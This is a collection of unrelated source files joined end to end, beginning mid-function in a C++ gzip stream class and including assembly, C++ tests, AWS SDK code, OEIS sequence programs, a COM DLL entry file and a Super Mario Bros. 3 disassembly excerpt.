size_t len = readbyte(512);
len |= size_t(readbyte(512))<<8;
skipbytes(len);
}
if(flags & F_NAME) while(readbyte(512));
if(flags & F_COMMENT) while(readbyte(512));
if(flags & F_CRC) skipbytes(2);
headersize = size_t(file->tell() - zfile.avail_in);
return zfile.avail_in > 0 || !file->end();
}
bool open(stream *f, const char *mode, bool needclose, int level)
{
if(file) return false;
for(; *mode; mode++)
{
if(*mode=='r') { reading = true; break; }
else if(*mode=='w') { writing = true; break; }
}
if(reading)
{
if(inflateInit2(&zfile, -MAX_WBITS) != Z_OK) reading = false;
}
else if(writing && deflateInit2(&zfile, level, Z_DEFLATED, -MAX_WBITS, min(MAX_MEM_LEVEL, 8), Z_DEFAULT_STRATEGY) != Z_OK) writing = false;
if(!reading && !writing) return false;
file = f;
crc = crc32(0, NULL, 0);
buf = new uchar[BUFSIZE];
if(reading)
{
if(!checkheader()) { stopreading(); return false; }
}
else if(writing) writeheader();
autoclose = needclose;
return true;
}
uint getcrc() { return crc; }
void finishreading()
{
if(!reading) return;
#ifndef STANDALONE
if(dbggz)
{
uint checkcrc = 0, checksize = 0;
loopi(4) checkcrc |= uint(readbyte()) << (i*8);
loopi(4) checksize |= uint(readbyte()) << (i*8);
if(checkcrc != crc)
conoutf(CON_DEBUG, "gzip crc check failed: read %X, calculated %X", checkcrc, crc);
if(checksize != zfile.total_out)
conoutf(CON_DEBUG, "gzip size check failed: read %u, calculated %u", checksize, uint(zfile.total_out));
}
#endif
}
void stopreading()
{
if(!reading) return;
inflateEnd(&zfile);
reading = false;
}
void finishwriting()
{
if(!writing) return;
for(;;)
{
int err = zfile.avail_out > 0 ? deflate(&zfile, Z_FINISH) : Z_OK;
if(err != Z_OK && err != Z_STREAM_END) break;
flushbuf();
if(err == Z_STREAM_END) break;
}
uchar trailer[8] =
{
uchar(crc&0xFF), uchar((crc>>8)&0xFF), uchar((crc>>16)&0xFF), uchar((crc>>24)&0xFF),
uchar(zfile.total_in&0xFF), uchar((zfile.total_in>>8)&0xFF), uchar((zfile.total_in>>16)&0xFF), uchar((zfile.total_in>>24)&0xFF)
};
file->write(trailer, sizeof(trailer));
}
void stopwriting()
{
if(!writing) return;
deflateEnd(&zfile);
writing = false;
}
void close()
{
if(reading) finishreading();
stopreading();
if(writing) finishwriting();
stopwriting();
DELETEA(buf);
if(autoclose) DELETEP(file);
}
bool end() { return !reading && !writing; }
offset tell() { return reading ? zfile.total_out : (writing ? zfile.total_in : offset(-1)); }
offset rawtell() { return file ? file->tell() : offset(-1); }
offset size()
{
if(!file) return -1;
offset pos = tell();
if(!file->seek(-4, SEEK_END)) return -1;
uint isize = file->getlil<uint>();
return file->seek(pos, SEEK_SET) ? isize : offset(-1);
}
offset rawsize() { return file ? file->size() : offset(-1); }
bool seek(offset pos, int whence)
{
if(writing || !reading) return false;
if(whence == SEEK_END)
{
uchar skip[512];
while(read(skip, sizeof(skip)) == sizeof(skip));
return !pos;
}
else if(whence == SEEK_CUR) pos += zfile.total_out;
if(pos >= (offset)zfile.total_out) pos -= zfile.total_out;
else if(pos < 0 || !file->seek(headersize, SEEK_SET)) return false;
else
{
if(zfile.next_in && zfile.total_in <= uint(zfile.next_in - buf))
{
zfile.avail_in += zfile.total_in;
zfile.next_in -= zfile.total_in;
}
else
{
zfile.avail_in = 0;
zfile.next_in = NULL;
}
inflateReset(&zfile);
crc = crc32(0, NULL, 0);
}
uchar skip[512];
while(pos > 0)
{
size_t skipped = (size_t)min(pos, (offset)sizeof(skip));
if(read(skip, skipped) != skipped) { stopreading(); return false; }
pos -= skipped;
}
return true;
}
size_t read(void *buf, size_t len)
{
if(!reading || !buf || !len) return 0;
zfile.next_out = (Bytef *)buf;
zfile.avail_out = len;
while(zfile.avail_out > 0)
{
if(!zfile.avail_in)
{
readbuf(BUFSIZE);
if(!zfile.avail_in) { stopreading(); break; }
}
int err = inflate(&zfile, Z_NO_FLUSH);
if(err == Z_STREAM_END) { crc = crc32(crc, (Bytef *)buf, len - zfile.avail_out); finishreading(); stopreading(); return len - zfile.avail_out; }
else if(err != Z_OK) { stopreading(); break; }
}
crc = crc32(crc, (Bytef *)buf, len - zfile.avail_out);
return len - zfile.avail_out;
}
bool flushbuf(bool full = false)
{
if(full) deflate(&zfile, Z_SYNC_FLUSH);
if(zfile.next_out && zfile.avail_out < BUFSIZE)
{
if(file->write(buf, BUFSIZE - zfile.avail_out) != BUFSIZE - zfile.avail_out || (full && !file->flush()))
return false;
}
zfile.next_out = buf;
zfile.avail_out = BUFSIZE;
return true;
}
bool flush() { return flushbuf(true); }
size_t write(const void *buf, size_t len)
{
if(!writing || !buf || !len) return 0;
zfile.next_in = (Bytef *)buf;
zfile.avail_in = len;
while(zfile.avail_in > 0)
{
if(!zfile.avail_out && !flushbuf()) { stopwriting(); break; }
int err = deflate(&zfile, Z_NO_FLUSH);
if(err != Z_OK) { stopwriting(); break; }
}
crc = crc32(crc, (Bytef *)buf, len - zfile.avail_in);
return len - zfile.avail_in;
}
};
struct utf8stream : stream
{
enum
{
BUFSIZE = 4096
};
stream *file;
offset pos;
size_t bufread, bufcarry, buflen;
bool reading, writing, autoclose;
uchar buf[BUFSIZE];
utf8stream() : file(NULL), pos(0), bufread(0), bufcarry(0), buflen(0), reading(false), writing(false), autoclose(false)
{
}
~utf8stream()
{
close();
}
bool readbuf(size_t size = BUFSIZE)
{
if(bufread >= bufcarry) { if(bufcarry > 0 && bufcarry < buflen) memmove(buf, &buf[bufcarry], buflen - bufcarry); buflen -= bufcarry; bufread = bufcarry = 0; }
size_t n = file->read(&buf[buflen], min(size, BUFSIZE - buflen));
if(n <= 0) return false;
buflen += n;
size_t carry = bufcarry;
bufcarry += decodeutf8(&buf[bufcarry], BUFSIZE-bufcarry, &buf[bufcarry], buflen-bufcarry, &carry);
if(carry > bufcarry && carry < buflen) { memmove(&buf[bufcarry], &buf[carry], buflen - carry); buflen -= carry - bufcarry; }
return true;
}
bool checkheader()
{
size_t n = file->read(buf, 3);
if(n == 3 && buf[0] == 0xEF && buf[1] == 0xBB && buf[2] == 0xBF) return true;
buflen = n;
return false;
}
bool open(stream *f, const char *mode, bool needclose)
{
if(file) return false;
for(; *mode; mode++)
{
if(*mode=='r') { reading = true; break; }
else if(*mode=='w') { writing = true; break; }
}
if(!reading && !writing) return false;
file = f;
if(reading) checkheader();
autoclose = needclose;
return true;
}
void finishreading()
{
if(!reading) return;
}
void stopreading()
{
if(!reading) return;
reading = false;
}
void stopwriting()
{
if(!writing) return;
writing = false;
}
void close()
{
stopreading();
stopwriting();
if(autoclose) DELETEP(file);
}
bool end() { return !reading && !writing; }
offset tell() { return reading || writing ? pos : offset(-1); }
bool seek(offset off, int whence)
{
if(writing || !reading) return false;
if(whence == SEEK_END)
{
uchar skip[512];
while(read(skip, sizeof(skip)) == sizeof(skip));
return !off;
}
else if(whence == SEEK_CUR) off += pos;
if(off >= pos) off -= pos;
else if(off < 0 || !file->seek(0, SEEK_SET)) return false;
else
{
bufread = bufcarry = buflen = 0;
pos = 0;
checkheader();
}
uchar skip[512];
while(off > 0)
{
size_t skipped = (size_t)min(off, (offset)sizeof(skip));
if(read(skip, skipped) != skipped) { stopreading(); return false; }
off -= skipped;
}
return true;
}
size_t read(void *dst, size_t len)
{
if(!reading || !dst || !len) return 0;
size_t next = 0;
while(next < len)
{
if(bufread >= bufcarry) { if(readbuf(BUFSIZE)) continue; stopreading(); break; }
size_t n = min(len - next, bufcarry - bufread);
memcpy(&((uchar *)dst)[next], &buf[bufread], n);
next += n;
bufread += n;
}
pos += next;
return next;
}
bool getline(char *dst, size_t len)
{
if(!reading || !dst || !len) return false;
--len;
size_t next = 0;
while(next < len)
{
if(bufread >= bufcarry) { if(readbuf(BUFSIZE)) continue; stopreading(); if(!next) return false; break; }
size_t n = min(len - next, bufcarry - bufread);
uchar *endline = (uchar *)memchr(&buf[bufread], '\n', n);
if(endline) { n = endline+1 - &buf[bufread]; len = next + n; }
memcpy(&((uchar *)dst)[next], &buf[bufread], n);
next += n;
bufread += n;
}
dst[next] = '\0';
pos += next;
return true;
}
size_t write(const void *src, size_t len)
{
if(!writing || !src || !len) return 0;
uchar dst[512];
size_t next = 0;
while(next < len)
{
size_t carry = 0, n = encodeutf8(dst, sizeof(dst), &((uchar *)src)[next], len - next, &carry);
if(n > 0 && file->write(dst, n) != n) { stopwriting(); break; }
next += carry;
}
pos += next;
return next;
}
bool flush() { return file->flush(); }
};
stream *openrawfile(const char *filename, const char *mode)
{
const char *found = findfile(filename, mode);
if(!found) return NULL;
filestream *file = new filestream;
if(!file->open(found, mode)) { delete file; return NULL; }
return file;
}
stream *openfile(const char *filename, const char *mode)
{
#ifndef STANDALONE
stream *s = openzipfile(filename, mode);
if(s) return s;
#endif
return openrawfile(filename, mode);
}
stream *opentempfile(const char *name, const char *mode)
{
const char *found = findfile(name, mode);
filestream *file = new filestream;
if(!file->opentemp(found ? found : name, mode)) { delete file; return NULL; }
return file;
}
stream *opengzfile(const char *filename, const char *mode, stream *file, int level)
{
stream *source = file ? file : openfile(filename, mode);
if(!source) return NULL;
gzstream *gz = new gzstream;
if(!gz->open(source, mode, !file, level)) { if(!file) delete source; delete gz; return NULL; }
return gz;
}
stream *openutf8file(const char *filename, const char *mode, stream *file)
{
stream *source = file ? file : openfile(filename, mode);
if(!source) return NULL;
utf8stream *utf8 = new utf8stream;
if(!utf8->open(source, mode, !file)) { if(!file) delete source; delete utf8; return NULL; }
return utf8;
}
char *loadfile(const char *fn, size_t *size, bool utf8)
{
stream *f = openfile(fn, "rb");
if(!f) return NULL;
stream::offset fsize = f->size();
if(fsize <= 0) { delete f; return NULL; }
size_t len = fsize;
char *buf = new (false) char[len+1];
if(!buf) { delete f; return NULL; }
size_t offset = 0;
if(utf8 && len >= 3)
{
if(f->read(buf, 3) != 3) { delete f; delete[] buf; return NULL; }
if(((uchar *)buf)[0] == 0xEF && ((uchar *)buf)[1] == 0xBB && ((uchar *)buf)[2] == 0xBF) len -= 3;
else offset += 3;
}
size_t rlen = f->read(&buf[offset], len-offset);
delete f;
if(rlen != len-offset) { delete[] buf; return NULL; }
if(utf8) len = decodeutf8((uchar *)buf, len, (uchar *)buf, len);
buf[len] = '\0';
if(size!=NULL) *size = len;
return buf;
}
|
/* Examples from
* https://monoinfinito.wordpress.com/series/introduction-to-c-template-metaprogramming/
*/
#include <iostream>
template <int N> struct Factorial{
static const int result = N * Factorial<N-1>::result;
};
//specialization of template, in this recursive case
//is for stoping de loop
template <> struct Factorial<0>{
static const int result = 1;
};
int main()
{
std::cout << Factorial<5>::result << std::endl;
return 0;
}
/*
* NOTES FROM WEB SITE
*
* 1. Templates get evaluated on compile time, remember? That means all
* that code actually executes when compiling the source, not when executing
* the resulting binary (assuming it actually compiles, of course).
* Having as a constraint the fact that all your code must resolve on compile
* time means only const vars make sense.
*/
|
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include "binary_tree.h"
#include "minimum_heap.h"
template<typename T>
void visit(binary_tree_node<T>* node)
{
std::cout << node->data;
}
void test_binary_tree()
{
binary_tree<char> tree;
// "A(B(D,E(G,)),C(,F))#"
//std::cin >> tree;
// 103
// tree.create_binary_tree("A(B(D,E(G,)),C(,F))#");
//std::cout << tree;
/*
tree.create_binary_tree("-(+(a,*(b,-(c,d))),/(e,f))#");
tree.preOrder(visit);
std::cout << std::endl;
tree.inOrder(visit);
std::cout << std::endl;
tree.postOrder(visit);
std::cout << std::endl;
std::cout << "size=" << tree.size() << std::endl;
std::cout << "height=" << tree.height() << std::endl;
*/
binary_tree<char> tree1;
tree1.create_binary_tree("A(B(D,E(G,)),C(,F))#");
std::cout << tree1;
std::cout << std::endl;
binary_tree<char> tree2(tree1);
std::cout << tree2;
std::cout << std::endl;
std::cout << ((tree1 == tree2)? "t":"f") << std::endl;
std::cout << ((tree1 != tree2) ? "t" : "f") << std::endl;
}
void test_minimum_heap()
{
minimum_heap<int> heap;
heap.insert(10);
heap.insert(11);
heap.insert(9);
std::cout << heap.getMin() << std::endl;
heap.insert(6);
std::cout << heap.getMin() << std::endl;
heap.insert(20);
heap.insert(5);
std::cout << heap.getMin() << std::endl;
int re = 0;
heap.remove(re);
std::cout << "remove data:" << re << std::endl;
std::cout << heap.getMin() << std::endl;
}
int main(int argc, char *argv[])
{
// test_binary_tree();
test_minimum_heap();
getchar();
exit(EXIT_SUCCESS);
} |
; GDT
gdt_start:
gdt_null: ; the mandatory null descriptor
dd 0x0 ; ’dd ’ means define double word ( i.e. 4 bytes )
dd 0x0
gdt_code: ; the code segment descriptor
; base =0x0 , limit =0xfffff ,
; 1st flags : ( present )1 ( privilege )00 ( descriptor type )1 -> 1001 b
; type flags : ( code )1 ( conforming )0 ( readable )1 ( accessed )0 -> 1010 b
; 2nd flags : ( granularity )1 (32 - bit default )1 (64 - bit seg )0 ( AVL )0 -> 1100 b
dw 0xffff ; Limit ( bits 0 -15)
dw 0x0 ; Base ( bits 0 -15)
db 0x0 ; Base ( bits 16 -23)
db 10011010b ; 1st flags , type flags
db 11001111b ; 2nd flags , Limit ( bits 16 -19)
db 0x0 ; Base ( bits 24 -31)
gdt_data: ; the data segment descriptor
; Same as code segment except for the type flags :
; type flags : ( code )0 ( expand down )0 ( writable )1 ( accessed )0 -> 0010 b
dw 0xffff ; Limit ( bits 0 -15)
dw 0x0 ; Base ( bits 0 -15)
db 0x0 ; Base ( bits 16 -23)
db 10010010b ; 1st flags , type flags
db 11001111b ; 2nd flags , Limit ( bits 16 -19)
db 0x0 ; Base ( bits 24 -31)
gdt_end: ; The reason for putting a label at the end of the
; GDT is so we can have the assembler calculate
; the size of the GDT for the GDT decriptor ( below )
; GDT descriptior
gdt_descriptor:
dw gdt_end - gdt_start - 1 ; Size of our GDT , always less one
; of the true size
dd gdt_start ; Start address of our GDT
; Define some handy constants for the GDT segment descriptor offsets , which
; are what segment registers must contain when in protected mode. For example ,
; when we set DS = 0x10 in PM , the CPU knows that we mean it to use the
; segment described at offset 0x10 ( i.e. 16 bytes ) in our GDT , which in our
; case is the DATA segment (0x0 -> NULL ; 0x08 -> CODE ; 0x10 -> DATA )
CODE_SEG equ gdt_code - gdt_start
DATA_SEG equ gdt_data - gdt_start
|
/**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#include <aws/iotsitewise/model/LoggingLevel.h>
#include <aws/core/utils/HashingUtils.h>
#include <aws/core/Globals.h>
#include <aws/core/utils/EnumParseOverflowContainer.h>
using namespace Aws::Utils;
namespace Aws
{
namespace IoTSiteWise
{
namespace Model
{
namespace LoggingLevelMapper
{
static const int ERROR__HASH = HashingUtils::HashString("ERROR");
static const int INFO_HASH = HashingUtils::HashString("INFO");
static const int OFF_HASH = HashingUtils::HashString("OFF");
LoggingLevel GetLoggingLevelForName(const Aws::String& name)
{
int hashCode = HashingUtils::HashString(name.c_str());
if (hashCode == ERROR__HASH)
{
return LoggingLevel::ERROR_;
}
else if (hashCode == INFO_HASH)
{
return LoggingLevel::INFO;
}
else if (hashCode == OFF_HASH)
{
return LoggingLevel::OFF;
}
EnumParseOverflowContainer* overflowContainer = Aws::GetEnumOverflowContainer();
if(overflowContainer)
{
overflowContainer->StoreOverflow(hashCode, name);
return static_cast<LoggingLevel>(hashCode);
}
return LoggingLevel::NOT_SET;
}
Aws::String GetNameForLoggingLevel(LoggingLevel enumValue)
{
switch(enumValue)
{
case LoggingLevel::ERROR_:
return "ERROR";
case LoggingLevel::INFO:
return "INFO";
case LoggingLevel::OFF:
return "OFF";
default:
EnumParseOverflowContainer* overflowContainer = Aws::GetEnumOverflowContainer();
if(overflowContainer)
{
return overflowContainer->RetrieveOverflow(static_cast<int>(enumValue));
}
return {};
}
}
} // namespace LoggingLevelMapper
} // namespace Model
} // namespace IoTSiteWise
} // namespace Aws
|
; A188123: Number of strictly increasing arrangements of 4 nonzero numbers in -(n+2)..(n+2) with sum zero.
; 1,3,8,16,31,51,80,118,167,227,302,390,495,617,758,918,1101,1305,1534,1788,2069,2377,2716,3084,3485,3919,4388,4892,5435,6015,6636,7298,8003,8751,9546,10386,11275,12213,13202,14242,15337,16485,17690,18952,20273,21653,23096,24600,26169,27803,29504,31272,33111,35019,37000,39054,41183,43387,45670,48030,50471,52993,55598,58286,61061,63921,66870,69908,73037,76257,79572,82980,86485,90087,93788,97588,101491,105495,109604,113818,118139,122567,127106,131754,136515,141389,146378,151482,156705,162045,167506
mov $6,$0
add $6,1
mov $12,$0
lpb $6
mov $0,$12
sub $6,1
sub $0,$6
mov $9,$0
mov $10,0
mov $11,$0
add $11,1
lpb $11
mov $0,$9
sub $11,1
sub $0,$11
add $0,7
mul $0,2
mov $5,4
mod $7,8
div $7,5
gcd $7,$0
mov $8,$0
mov $0,1
add $0,$7
mov $2,$7
mul $8,5
lpb $0
mod $0,$5
add $0,5
add $2,12
mov $4,$0
add $8,$5
sub $8,$2
sub $8,6
div $0,$8
mul $4,2
div $4,8
add $5,5
trn $3,$5
add $3,6
lpe
mul $3,2
add $0,$3
mov $3,7
mov $7,$0
div $8,$0
add $8,$4
sub $8,5
mul $8,2
add $8,1
add $10,$8
lpe
add $1,$10
lpe
mov $0,$1
|
; This is a simple program that outputs '+', '0' or '-' based on the sign of the number stored at in R1
; liuzikai 2020.04.30
; KLC3: INPUT_FILE
.ORIG x3000
LD R1, TEST_INPUT
BRn NEGATIVE_CASE
BRz ZERO_CASE
POSITIVE_CASE
LD R0, PLUS_ASCII
OUT
RET ; trigger ERR_RET_IN_MAIN_CODE so that test case is generated
ZERO_CASE
LD R0, ZERO_ASCII
OUT
RET ; trigger ERR_RET_IN_MAIN_CODE so that test case is generated
NEGATIVE_CASE
LD R0, MINUS_ASCII
OUT
RET ; trigger ERR_RET_IN_MAIN_CODE so that test case is generated
TEST_INPUT .BLKW #1 ; KLC3: SYMBOLIC as N
; KLC3: SYMBOLIC N >= #0 & N != #0
PLUS_ASCII .FILL 43 ; '+'
ZERO_ASCII .FILL 48 ; '0'
MINUS_ASCII .FILL 45 ; '-'
; RUN: %klc3 %s --use-forked-solver=false --output-dir=none 2>&1 --lc3-out-to-terminal=true | FileCheck %s
; CHECK: TEST CASE 0 OUT
; CHECK: +
; CHECK: END OF TEST CASE 0 OUT
; CHECK-NOT: TEST CASE 1 OUT
; CHECK-NOT: TEST CASE 2 OUT
.END |
;
; Amstrad CPC library
; (CALLER linkage for function pointers)
;
; creates a copy of a string in CPC format
;
; char __LIB__ *cpc_rsx_strcpy(char *dst, char *src);
;
; $Id: cpc_rsx_strcpy.asm,v 1.3 2016-06-10 21:12:36 dom Exp $
;
SECTION code_clib
PUBLIC cpc_rsx_strcpy
PUBLIC _cpc_rsx_strcpy
EXTERN asm_cpc_rsx_strcpy
.cpc_rsx_strcpy
._cpc_rsx_strcpy
pop bc
pop hl
pop de
push de
push hl
push bc
jp asm_cpc_rsx_strcpy |
; A215045: a(n) = F(2*n+1)^5 with n >= 0, F=A000045 (Fibonacci numbers).
; 1,32,3125,371293,45435424,5584059449,686719856393,84459630100000,10387823949447757,1277617458486664901,157136551895768914976,19326518128014212635057,2377004590722802744140625,292352238096435536675521568,35956948280475177898499562149,4422412286246072721588335082349,543920754259730266208749091534368,66897830361655979288042024095915625
seq $0,155110 ; a(n) = 8*Fibonacci(2n+1).
pow $0,5
div $0,32768
|
// BtnCtls.cpp: Implementation of DLL exports.
#include "stdafx.h"
#include "res/resource.h"
#ifdef UNICODE
#include "BtnCtlsU.h"
#else
#include "BtnCtlsA.h"
#endif
class BtnCtlsModule :
public CAtlDllModuleT< BtnCtlsModule >
{
public:
#ifdef _UNICODE
DECLARE_LIBID(LIBID_BtnCtlsLibU)
DECLARE_REGISTRY_APPID_RESOURCEID(IDR_BTNCTLS, "{860876B8-7E2C-46C6-AA43-6B0E54D5B97A}")
#else
DECLARE_LIBID(LIBID_BtnCtlsLibA)
DECLARE_REGISTRY_APPID_RESOURCEID(IDR_BTNCTLS, "{23C8E3EC-F000-4BA6-83C5-8A3B831EE38D}")
#endif
};
BtnCtlsModule _AtlModule;
#ifdef _MANAGED
#pragma managed(push, off)
#endif
// DLL entry point
extern "C" BOOL WINAPI DllMain(HINSTANCE /*hInstance*/, DWORD dwReason, LPVOID lpReserved)
{
#ifdef _DEBUG
// enable CRT memory leak detection & report
_CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF // enable debug heap allocs & block type IDs (ie _CLIENT_BLOCK)
//| _CRTDBG_CHECK_CRT_DF // check CRT allocations too
//| _CRTDBG_DELAY_FREE_MEM_DF // keep freed blocks in list as _FREE_BLOCK type
| _CRTDBG_LEAK_CHECK_DF // do leak report at exit (_CrtDumpMemoryLeaks)
// pick only one of these heap check frequencies
//| _CRTDBG_CHECK_ALWAYS_DF // check heap on every alloc/free
//| _CRTDBG_CHECK_EVERY_16_DF
//| _CRTDBG_CHECK_EVERY_128_DF
//| _CRTDBG_CHECK_EVERY_1024_DF
| _CRTDBG_CHECK_DEFAULT_DF // by default, no heap checks
);
//_CrtSetBreakAlloc(209); // break debugger on numbered allocation
// get ID number from leak detector report of previous run
#endif
return _AtlModule.DllMain(dwReason, lpReserved);
}
#ifdef _MANAGED
#pragma managed(pop)
#endif
STDAPI DllCanUnloadNow(void)
{
return _AtlModule.DllCanUnloadNow();
}
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{
return _AtlModule.DllGetClassObject(rclsid, riid, ppv);
}
STDAPI DllRegisterServer(void)
{
/* In early 2013, a Windows Update broke data-binding. This problem can be solved by calling
* regtlib.exe msdatsrc.tlb */
TCHAR pRegtlib[512];
ZeroMemory(pRegtlib, 512 * sizeof(TCHAR));
TCHAR pSysDir[512];
ZeroMemory(pSysDir, 512 * sizeof(TCHAR));
if(GetSystemWow64Directory(pSysDir, 512) == 0 && GetLastError() == ERROR_CALL_NOT_IMPLEMENTED) {
GetSystemDirectory(pSysDir, 512);
}
if(lstrlen(pSysDir) > 0) {
PathAddBackslash(pSysDir);
}
if(GetWindowsDirectory(pRegtlib, 1024) > 0) {
if(PathAppend(pRegtlib, TEXT("regtlib.exe")) && PathFileExists(pRegtlib) && PathFileExists(pSysDir)) {
SHELLEXECUTEINFO info = {0};
info.cbSize = sizeof(info);
info.fMask = SEE_MASK_NOASYNC;
info.lpVerb = TEXT("open");
info.lpFile = pRegtlib;
info.lpDirectory = pSysDir;
info.lpParameters = TEXT("msdatsrc.tlb");
info.nShow = SW_HIDE;
ShellExecuteEx(&info);
}
}
return _AtlModule.DllRegisterServer();
}
STDAPI DllUnregisterServer(void)
{
return _AtlModule.DllUnregisterServer();
} |
db "SPOTBILL@" ; species name
db "Very territorial."
next "Will defend its"
next "hatchlings if it"
page "has a slight sense"
next "of danger from its"
next "surroundings.@"
|
.n64
.relativeinclude on
.create "../roms/patched.z64", 0
.incbin "../roms/base.z64"
;==================================================================================================
; Constants
;==================================================================================================
.include "constants.asm"
.include "addresses.asm"
;==================================================================================================
; Base game editing region
;==================================================================================================
.include "boot.asm"
.include "hacks.asm"
.include "malon.asm"
.include "mido.asm"
;==================================================================================================
; New code region
;==================================================================================================
.headersize (0x80400000 - 0x03480000)
.org 0x80400000
.area 0x10000
.area 0x20, 0
RANDO_CONTEXT:
.word COOP_CONTEXT
.word COSMETIC_CONTEXT
.word extern_ctxt
.endarea
.include "coop_state.asm" ; This should always come first
.include "config.asm"
.include "init.asm"
.include "item_overrides.asm"
.include "cutscenes.asm"
.include "shop.asm"
.include "every_frame.asm"
.include "menu.asm"
.include "time_travel.asm"
.include "song_fix.asm"
.include "scarecrow.asm"
.include "empty_bomb_fix.asm"
.include "initial_save.asm"
.include "textbox.asm"
.include "fishing.asm"
.include "bgs_fix.asm"
.include "chus_in_logic.asm"
.include "rainbow_bridge.asm"
.include "lacs_condition.asm"
.include "gossip_hints.asm"
.include "potion_shop.asm"
.include "jabu_elevator.asm"
.include "dampe.asm"
.include "dpad.asm"
.include "chests.asm"
.include "bunny_hood.asm"
.include "magic_color.asm"
.include "debug.asm"
.include "cow.asm"
.include "lake_hylia.asm"
.include "timers.asm"
.include "shooting_gallery.asm"
.include "damage.asm"
.include "bean_salesman.asm"
.include "grotto.asm"
.importobj "../build/bundle.o"
.align 8
FONT_TEXTURE:
.incbin("../resources/font.bin")
DPAD_TEXTURE:
.incbin("../resources/dpad.bin")
.endarea
.close
|
; Super Mario Bros. 3 Full Disassembly by Southbird 2012
; For more info, see http://www.sonicepoch.com/sm3mix/
;
; PLEASE INCLUDE A CREDIT TO THE SOUTHBIRD DISASSEMBLY
; AND THE ABOVE LINK SOMEWHERE IN YOUR WORKS :)
;
; Original disassembler source generated by DCC6502 version v1.4
; (With labels, comments, and some syntax corrections for nesasm by Southbird)
; For more info about DCC6502, e-mail veilleux@ameth.org
;
; This source file last updated: 2012-03-12 22:48:24.881635889 -0500
; Distribution package date: Fri Apr 6 23:46:16 UTC 2012
;---------------------------------------------------------------------------
; FIXME: Appears to be unused Video_Upd_Table format data??
.byte $20, $E6, $05, $F1, $FC, $9D, $9C, $9E, $21, $26, $05, $F2, $FC, $9D, $9C, $9E ; $0000 - $000F
.byte $21, $66, $05, $F3, $FC, $9D, $9C, $9E, $21, $A6, $05, $F4, $FC, $9D, $9C, $9E ; $0010 - $001F
.byte $21, $E6, $05, $F5, $FC, $9D, $9C, $9E, $22, $26, $05, $F6, $FC, $9D, $9C, $9E ; $0020 - $002F
.byte $22, $66, $05, $F7, $FC, $9D, $9C, $9E, $22, $A6, $05, $F8, $FC, $9D, $9C, $9E ; $0030 - $003F
.byte $21, $14, $02, $F0, $F3, $22, $14, $03, $F1, $FC, $F2, $3F, $00, $20, $0F, $0F ; $0040 - $004F
.byte $30, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $16 ; $0050 - $005F
.byte $30, $0F, $0F, $0F, $30, $0F, $0F, $0F, $30, $0F, $0F, $0F, $30, $0F, $00, $00 ; $0060 - $006F
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Map_DoInventory_And_PoofFX
;
; This is a super major function which entirely handles the
; inventory flip and usage on the map (opening, closing,
; using items, cycling items, etc.) and also manages the
; "poof" effect that occurs when a power-up is used or a
; special item takes effect (e.g. hammer breaking lock)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Map_DoInventory_And_PoofFX:
LDA Map_Powerup_Poof
BEQ PRG026_A078 ; If Map_Powerup_Poof = 0 (no powerup being applied), jump to PRG026_A078
JSR Map_Poof_Update ; If "poof" is active, update it!
PRG026_A078:
LDA Inventory_Open
BEQ PRG026_A082 ; If Inventory_Open = 0, jump to PRG026_A082
; If Inventory_Open >= 1, set "2" into Player_HaltTick (???)
; This actually isn't used on the map... perhaps there was
; to be in-level inventory usage once?
LDA #$02
STA Player_HaltTick ; Player_HaltTick = 2
PRG026_A082:
LDA InvFlip_Counter ; Call a subroutine based on the value in InvFlip_Counter
JSR DynJump ; Dynamic jump based on LUT below...
; THESE MUST FOLLOW DynJump FOR THE DYNAMIC JUMP TO WORK!!
; Jump destinations based on InvFlip_Counter:
.word Inventory_DoHilites ; 0: When inventory panel is open, highlight items
.word Inventory_Close ; 1: Updates video to close panel down during flip
.word Inventory_DoFlipPalChange ; 2: Change colors
.word Inventory_DoFlipVideoUpd ; 3: Performs video updates as panel flips open or closed (includes displaying inventory items!)
.word Inventory_DoPowerupUse ; 4: Does the "poof" effect from using a power-up item (and closing the Inventory)
Inventory_DoHilites:
LDA #$2b
STA InvFlip_VAddrHi ; VRAM Hi-byte is $2B
LDA #$00
STA InvHilite_Item ; Hilite on first column
LDX Level_Tileset ; X = Level_Tileset
CPX #$07
BEQ PRG026_A0A6 ; If Level_Tileset = $07 (Toad House), jump to PRG026_A0A6
STA InvStart_Item ; If not Toad House, Start on first row, first item
PRG026_A0A6:
LDA #$48
STA InvHilite_X ; First item hilited
LDX #$00
STX InvFlip_Frame ; InvFlip_Frame = 0
INC InvFlip_Counter ; InvFlip_Counter = 1
LDA Inventory_Open
BEQ PRG026_A0CA ; If Inventory_Open = 0 (it's not), jump to PRG026_A0CA (RTS)
; Inventory is open...
LDA InvStart_Item ; A = InvStart_Item
LDX Player_Current ; X = Player_Current
BEQ PRG026_A0C3 ; If Player_Current = 0 (Mario), jump to PRG026_A0C3
ADD #(Inventory_Items2 - Inventory_Items) ; Offset for Luigi's items
PRG026_A0C3:
TAX ; X = A (InvStart_Item + offset)
LDA Inventory_Items,X ; Get this item -> A
JMP InvItem_SetColor ; Jump to InvItem_SetColor
PRG026_A0CA:
RTS ; Return
InvFlip_VAddrLo_LUT:
.byte $00, $60, $20, $40
Inventory_Close:
LDX Graphics_BufCnt ; X = current position in graphics buffer
LDA InvFlip_VAddrHi ; A = VRAM High Address
STA Graphics_Buffer,X ; Store into the buffer
LDY InvFlip_Frame ; Y = InvFlip_Frame
LDA InvFlip_VAddrLo_LUT,Y ; Get appropriate low byte for video address
STA Graphics_Buffer+1,X ; Store into the buffer
; This is data in the style of the Video_Upd_Table; see "Video_Upd_Table" in PRG030 for format.
LDA #VU_REPEAT | 32
STA Graphics_Buffer+2,X ; Repeat 32 times
LDA #$fc
STA Graphics_Buffer+3,X ; Tile $FC
LDA #$00
STA Graphics_Buffer+4,X ; Terminator
LDA Graphics_BufCnt
ADD #$04
STA Graphics_BufCnt ; Graphics_BufCnt += 4
INY ; Y++
TYA ; A = Y
AND #$03 ; A is 0 to 3
STA InvFlip_Frame ; Next indexed low byte
BNE PRG026_A10F ; If A <> 0, jump to PRG026_A10F
